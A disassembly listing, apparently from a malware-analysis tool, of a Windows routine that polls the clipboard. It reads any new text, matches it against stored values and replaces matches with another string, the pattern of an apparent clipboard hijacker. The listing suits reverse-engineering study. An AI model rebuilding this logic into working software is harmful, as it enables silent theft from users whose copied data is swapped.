Function at 0x6ea99dc0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x6c
mov eax, dword [0x6eba702c]
mov dword [esp + 0x5c], eax
xor eax, eax
mov dword [esp + 8], 0x6eb5f5b0
mov dword [esp + 4], 0
mov dword [esp], 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
sub esp, 0xc
test eax, eax
je 0x6ea99bcc
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [esp + 0x5c]
sub eax, dword [0x6eba702c]
jne 0x6ea99db8
add esp, 0x6c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], 0x6eb5f5b0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
lea ebp, [esp + 0x18]
lea edi, [esp + 0x14]
lea esi, [esi]
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
call dword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
cmp eax, dword [0x6eb5e490]
je 0x6ea99bf8
lea eax, [esp + 0x2c]
mov dword [esp], eax
call 0x6ea99dc0
lea ecx, [esp + 0x2c]
call fcn.6eaab520
test al, al
je 0x6ea99c40
call 0x6ea99eb0
lea ecx, [esp + 0x2c]
call fcn.6eb238b0
jmp 0x6ea99bf8
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x44]
mov dword [esp], eax
call fcn.6eb22b90
sub esp, 4
call fcn.6eb1bd60
mov dword [esp + 0x14], eax
call fcn.6eb1bd20
mov dword [esp + 0x18], eax
jmp 0x6ea99ce1
mov eax, dword [esp + 0x14]
call fcn.6ea9e300
lea ecx, [esp + 0x1c]
mov ebx, eax
mov eax, dword [eax + 4]
mov dword [esp], eax
call fcn.6eb1f7c0
sub esp, 4
lea edx, [esp + 0x1c]
lea eax, [esp + 0x2c]
call fcn.6eb45950
lea ecx, [esp + 0x1c]
mov esi, eax
call fcn.6eb1f830
mov eax, esi
test al, al
jne 0x6ea99cf5
mov eax, dword [ebx]
lea ecx, [esp + 0x1c]
mov dword [esp], eax
call fcn.6eb1f7c0
sub esp, 4
lea edx, [esp + 0x1c]
lea eax, [esp + 0x2c]
call fcn.6eb45950
lea ecx, [esp + 0x1c]
mov esi, eax
call fcn.6eb1f830
mov eax, esi
test al, al
jne 0x6ea99d18
mov ecx, edi
call fcn.6ea9bbc0
mov dword [esp + 4], ebp
mov dword [esp], edi
call fcn.6ea9cb10
test al, al
jne 0x6ea99c70
call 0x6ea99eb0
lea ecx, [esp + 0x44]
call fcn.6eb238b0
lea ecx, [esp + 0x2c]
call fcn.6eb238b0
jmp 0x6ea99bf8
mov eax, dword [ebx + 4]
lea ecx, [esp + 0x44]
mov dword [esp], eax
call fcn.6eb239d0
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
sub esp, 4
test eax, eax
je 0x6ea99cf5
lea ecx, [esp + 0x44]
call fcn.6eaab4e0
mov dword [esp], 0
add eax, 1
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
sub esp, 8
mov ebx, eax
test eax, eax
je 0x6ea99dad
lea ecx, [esp + 0x44]
call fcn.6eaab500
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
sub esp, 4
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov dword [esp + 4], ebx
mov dword [esp], 1
call dword [sym.imp.USER32.dll_SetClipboardData]
sub esp, 8
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x6ea99cf5
call fcn.6ea81590
nop
nop
nop
push edi
push esi
push ebx
sub esp, 0x30
mov eax, dword [0x6eba702c]
mov dword [esp + 0x2c], eax
xor eax, eax
mov dword [esp], 1
mov ebx, dword [esp + 0x40]
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
sub esp, 4
test eax, eax
je 0x6ea99dfd
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
sub esp, 4
test eax, eax
jne 0x6ea99e30
mov dword [esp], 0x6eb5f176
mov ecx, ebx
call fcn.6eb230d0
sub esp, 4
mov eax, dword [esp + 0x2c]
sub eax, dword [0x6eba702c]
jne 0x6ea99ea3
add esp, 0x30
mov eax, ebx
pop ebx
pop esi
pop edi
ret
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
sub esp, 4
mov esi, eax
test eax, eax
je 0x6ea99e98
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
test eax, eax
je 0x6ea99e98
mov dword [esp], eax
lea edi, [esp + 0x14]
mov ecx, edi
call fcn.6eb230d0
sub esp, 4
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
sub esp, 4
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [esp], edi
mov ecx, ebx
call fcn.6eb229e0
mov ecx, edi
sub esp, 4
call fcn.6eb238b0
jmp 0x6ea99e0e
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x6ea99dfd
call fcn.6ea81590
nop
nop
nop
nop
nop
nop
nop
nop
sub esp, 0x1c
mov eax, dword [0x6eba702c]
mov dword [esp + 0xc], eax
xor eax, eax
call dword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x6eb5e490], eax
mov eax, dword [esp + 0xc]
sub eax, dword [0x6eba702c]
jne 0x6ea99ed9
add esp, 0x1c
ret
call fcn.6ea81590
nop
nop
sub esp, 0x1c
mov eax, dword [esp + 0x20]
call pe_dos_header
mov dword [esp], 1
sub eax, 0xc
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov eax, 0x6ea99f40
call pe_dos_header
add esp, 0x1c
ret